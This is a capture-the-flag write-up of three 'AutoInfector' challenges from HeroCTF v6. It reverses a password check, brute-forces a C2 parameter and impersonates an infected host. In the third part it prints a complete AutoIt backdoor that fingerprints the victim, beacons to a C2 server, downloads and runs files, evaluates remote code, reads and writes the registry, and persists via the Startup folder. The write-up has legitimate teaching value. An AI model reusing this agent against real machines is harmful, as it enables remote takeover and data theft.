HeroCTF v6 : AutoInfector 1 to 3
Team : Good_LAHF
AutoInfector 1
We are sent to a web page http://shop.capturetheflag.fr/
that seems to be offering the beta version of some malware. However, when we try to download it, we are asked to input a password.
However, that check is done on the front-end and it seems to be reversable. So we take the minifyed or obfuscated code, send it to an online deobfuscator and get this back :
function xorStrHex(a, b) {
var out = '';
for (var i = 0; i < a.length; i++) {
out += (parseInt(a[i], 16) ^ parseInt(b[i], 16)).toString(16);
}
return out;
}
function toHex(_0x54809b) {
var _0x253551 = '';
for (var _0x2225ca = 0x0; _0x2225ca < _0x54809b.length; _0x2225ca++) {
_0x253551 += '' + _0x54809b.charCodeAt(_0x2225ca).toString(16);
}
return _0x253551;
}
document.getElementById("download-malware").onclick = function () {
const title = document.title.split(" - ")[0x0];
const hash_title = hex_md5(title);
const input = prompt("Enter the password to download the malware:");
if (!input) {
return;
}
const hashed_input = hex_md5(input);
const res = xorStrHex(hash_title, hashed_input);
if (res === "11dfc83092be6f72c7e9e000e1de2960") {
alert("You can validate the challenge with the following flag: Hero{" + input + '}');
window.location.href = '/' + input + '.exe';
} else {
alert("Wrong password!");
}
};
I've renamed some variable for clarity. The script does something very clear, it takes the input, md5 hash it, xor it with the md5 hash of the first part of the document's title ie AutoInfector
and finally it compares it with an md5 hash.
So in order to get the password, we apply the reverse process in order to go back up to where we have hash and crack it using a hashcat or if you're lazy like you just use https://crackstation.net.
Here's the script that gives the hash :
import hashlib
end = "11dfc83092be6f72c7e9e000e1de2960"
title = "AutoInfector"
hash_title = hashlib.md5(title.encode()).hexdigest()
# print(f'{hash_title}')
res = ""
for i in range(0,len(end),2):
res += f'{int(hash_title[i:i+2], 16) ^ int(end[i:i+2], 16) :02x}'
print(f'{res}')
$> py solve.py
f200ef234d1092396a1058925b8a0d3f
And when sent through hashcat or whatever, we get the password infectedmushroom
.
We now know the flag which is Hero{infectedmushroom}
and we also get a file for the next challenge.
AutoInfector 2
We get an executable named infectedmushroom.exe
. We send it first to something like virustotal.com. And interestingly, it seems to send a plaintext POST request to http://c2.capturetheflag.fr:4444/stage2
which obviously is the Command and Control server.
The issue is that, we do not have the body of the requests so instead, we launch it in a sandbox of our own and capture the request using Wireshark.
We find out that we need to send language=<some_hexadecimal_number>
and the one sent seems to not be the right one. After a bit of research, it seems like this hexadecimal number corresponds to the Keyboard Layout Identifier (KLID). And, we just need to test each of them against the C2.
In order to so, I've retrieved a list of every KLID and I wrote this script to test each of them :
import requests
URL = "http://c2.capturetheflag.fr:4444/stage2"
headers = {"User-Agent": "AutoInfector V1.0"}
with open("klid_list", "r") as f :
lines = f.readlines()
for l in lines :
lang = l.split(" ")[-1].strip().lower()
r = requests.post(URL, headers=headers, data={"language": lang})
if r.status_code == 200 :
print(r.request.body)
print(r.text)
with open("out", "w") as f :
f.write(r.text)
break
It finds the right "language" and the response of the POST request gives us a script that will be useful for the next part.
Part of the script that gives us the flag :
Global $splitter = "|||"
Global $host = "http://c2.capturetheflag.fr:4444"
Global $userAgent = "AutoInfector V1.0"
Global $flag = "Hero{Geof3nc1ng_R3str1ct10n5_4r3_n0t_3n0ugh}"
AutoInfector 3
Now, we have the following script :
Global $splitter = "|||"
Global $host = "http://c2.capturetheflag.fr:4444"
Global $userAgent = "AutoInfector V1.0"
Global $flag = "Hero{Geof3nc1ng_R3str1ct10n5_4r3_n0t_3n0ugh}"
Func computerFingerprint()
$fingerprint = ""
$fingerprint &= @ComputerName & $splitter
$fingerprint &= @UserName & $splitter
$fingerprint &= @IPAddress1 & $splitter
$fingerprint &= @OSVersion & $splitter
$fingerprint &= @OSBuild
return $fingerprint
EndFunc
Func pollServer()
Local $winHttp = ObjCreate("winhttp.winhttprequest.5.1")
$winHttp.Open("GET", $host & "/poll", False)
$winHttp.SetRequestHeader("User-Agent", computerFingerprint())
$winHttp.Send()
Local $statusCode = $winHttp.Status
If $statusCode = 200 Then
Return $winHttp.ResponseText
EndIf
Return ""
EndFunc
Func sendServer($action, $data)
Local $winHttp = ObjCreate("winhttp.winhttprequest.5.1")
$winHttp.Open("POST", $host & "/send", False)
$winHttp.SetRequestHeader("User-Agent", computerFingerprint())
$winHttp.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded")
$winHttp.Send($action & "=" & $data)
EndFunc
While ( true )
Local $content = pollServer()
Local $params = StringSplit($content, $splitter)
Local $action = $params[1]
If $action = "download" Then
Local $url = $params[2]
Local $file = $params[3]
Local $data = InetRead($url, 1)
FileWrite($file, $data)
EndIf
If $action = "execute" Then
Local $file = $params[2]
Run($file)
EndIf
if $action = "plugin" Then
Local $code = $params[2]
Eval($code)
EndIf
if $action = "regRead" Then
Local $key = $params[2]
Local $value = $params[3]
Local $data = RegRead($key, $value)
sendServer($action, $data)
EndIf
if $action = "regWrite" Then
Local $key = $params[2]
Local $value = $params[3]
Local $data = $params[4]
RegWrite($key, $value, $data)
EndIf
if $action = "persistence" Then
Local $file = @ScriptFullPath
Local $destination = @AppDataCommonDir & "\Microsoft\Windows\Start Menu\Programs\Startup\ "
FileCopy($file, $destination & @ScriptName, 1)
EndIf
if $action = "nothing" Then
Sleep(5000)
EndIf
if $action = "exit" Then
Exit
EndIf
WEnd
This script still interacts with the same C2, however it reveals us that there are 2 other endpoints /poll
and /send
. Moreover, we find out that the infected machine sends through the User-Agent, a fingerprint to the server that consists of the computer's name, username, IP adress, version and build of the OS. All of this split with|||
.
My first try was using this UserAgent to the C2 OBAMAs-COMPUTER|||Obama|||127.0.0.1|||10.0.19045.5073|||19045'
. As it was the first result of googling Most recent version of windows 10
. It did not work as the C2 responded with :
Invalid version
However, I just tried with Windows 10
as the version and it actually worked. The server responded with literally nothing|||
.
Now, we need to figure what how this C2 is C2ing. So I was spamming because I had no idea what to do next and somehow sent a request to poll
and it just sent me back the flag. WTF ? Turns out, you just need to act as if you are waiting for an instruction from the C2 like the pollServer
function does in the script in order to get the flag. I didn't read the whole script ... probably should've 😞.
You just need to spam it with this and voila.
import requests
splitter = "|||"
finger_print = ["OBAMAs-COMPUTER", "Obama", "127.0.0.1", "Windows 10", "19045"]
actions = ["download", "execute"]
user_agent = splitter.join(finger_print)
headers = {"User-Agent" : user_agent}
print(f'{user_agent = }')
C2_URL = "http://c2.capturetheflag.fr:4444"
r = requests.get(C2_URL+ "/poll", headers=headers, data={'action' : 'download'})
print(r.text)
The response when it works :
$> py solve.py
user_agent = 'OBAMAs-COMPUTER|||Obama|||127.0.0.1|||Windows 10|||19045'
plugin|||; Hero{4re_y0U_t4lking_with_m3????4444}